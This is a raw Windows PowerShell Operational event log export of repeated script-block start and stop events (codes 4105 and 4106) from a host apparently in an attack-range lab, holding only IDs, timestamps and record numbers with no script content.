Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026330
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026329
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026309
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026308
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026307
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026306
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026288
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026287
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026282
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026281
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
